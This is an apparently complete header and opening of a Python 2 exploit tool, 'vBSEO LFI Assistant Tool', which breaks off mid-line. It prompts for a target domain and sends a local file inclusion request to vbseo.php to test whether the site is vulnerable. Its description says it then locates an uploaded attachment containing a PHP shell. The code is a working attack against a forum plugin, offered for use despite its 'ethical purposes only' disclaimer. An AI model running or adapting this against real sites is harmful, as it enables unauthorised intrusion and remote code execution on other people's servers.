#!/usr/bin/python # ______ __ __ __ __ ______ # /\__ _\ /\ \__ /\ \/\ \ /'__`\/\__ _\ # \/_/\ \/ ___\ \ ,_\ __ _ __\ \ `\\ \/\ \/\ \/_/\ \/ # \ \ \ /' _ `\ \ \/ /'__`\/\`'__\ \ , ` \ \ \ \ \ \ \ \ # \_\ \__/\ \/\ \ \ \_/\ __/\ \ \/ \ \ \`\ \ \ \_\ \ \ \ \ # /\_____\ \_\ \_\ \__\ \____\\ \_\ \ \_\ \_\ \____/ \ \_\ # \/_____/\/_/\/_/\/__/\/____/ \/_/ \/_/\/_/\/___/ \/_/ # -------------------------------------------------------- # Title: vBSEO LFI Assistant Tool # Author: MaXe # Site: http://www.intern0t.net # # Description: 1) Checks whether the vBSEO installation # is patched or not. 2) Attempts to find # the physical location of an uploaded # attachment phile. (PHP Shell) # # Version: 2.1.4 - Reversed Algorithm - Basic Version # # License: -- Attribution-ShareAlike 3.0 Unported -- # http://creativecommons.org/licenses/by-sa/3.0/ # # Notes: The basic version does not contain multi- # threading nor is it able to search through # multiple sub directories which the advanced # version will be able to. # Please note, that this tool does not work on # all types of hosts and you should therefore # modify this script to your own needs. # # Disclaimer: This tool is meant for ethical purposes only. # Import the appropriate libraries. import os import re import httplib import sys # Clear the screen in a sufficient way. if(os.name) == "posix": os.system("clear") elif(os.name) == "nt": os.system("cls") else: print "[!] Cannot clear screen automatically.\n" print "File Finder by MaXe from InterN0T.net\n\n" # Get user-input and define global variables. target = raw_input("Enter a domain to scan: ") file_match = raw_input("Enter a keyword to look for: ") main_dir = ["attach","attachment","attachments","download"] poss_main_dir = [] sub_dir = [] # Strip away http and https from the target variable. striptarget = re.compile('(http://|https://)') newtarget = striptarget.sub('', target) # Perform a simple LFI to check whether the target is vulnerable or not. conn = httplib.HTTPConnection(newtarget, 80) print "[*] Checking if site appears to be vulnerable." conn.request("GET", "/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html") resp = conn.getresponse() # If the response code is 200 OK, check if the file really was included. if resp.status == 200: print "[+] Site is responding, this is good." if re.search("(